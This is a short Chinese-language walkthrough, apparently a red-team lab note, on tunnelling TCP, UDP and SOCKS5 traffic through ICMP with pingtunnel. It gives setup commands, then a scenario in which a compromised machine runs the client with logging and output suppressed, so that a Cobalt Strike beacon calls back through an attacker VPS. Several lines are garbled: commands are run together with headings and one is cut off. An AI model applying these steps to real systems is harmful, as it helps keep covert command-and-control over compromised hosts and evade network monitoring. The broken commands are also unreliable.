
pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具。

sudo wget (最新release的下载链接)
sudo unzip pingtunnel_linux64.zip
sudo ./pingtunnel -type serverecho 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all转发 sock5
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1转发 tcp
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1转发 udp
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
也可直接用docker启动,更方便。参数同上
docker run --name pingtunnel-server -d --privileged --network host --restart=always esrrhs/pingtunnel ./pingtunnel -type server -key 123456docker run --name pingtunnel-client -d --restart=always -p 1080:1080 esrrhs/pingtunnel ./pingtunnel -type c
这个实验主要想说明端口转发,假设场景拿下一台机器icmp出网 只有1234端口出网。
第一步在自己公网vps设置监听

在拿下客户机运行如下命令本地8001端口转发到公vps上1234端口
pingtunnel.exe -type client -l :8001 -s192.168.254.133 -t 192.168.254.133:1234 -tcp 1 - noprint 1 -nolog 1
在公网vps设置两个监听器一个是127.0.0.1 8001 一个是 公网vps 1234

可以看到CS上反弹回来

监听器127.0.0.1生成beacon运行在被攻击机上


192.168.254.133模拟的是公网vps
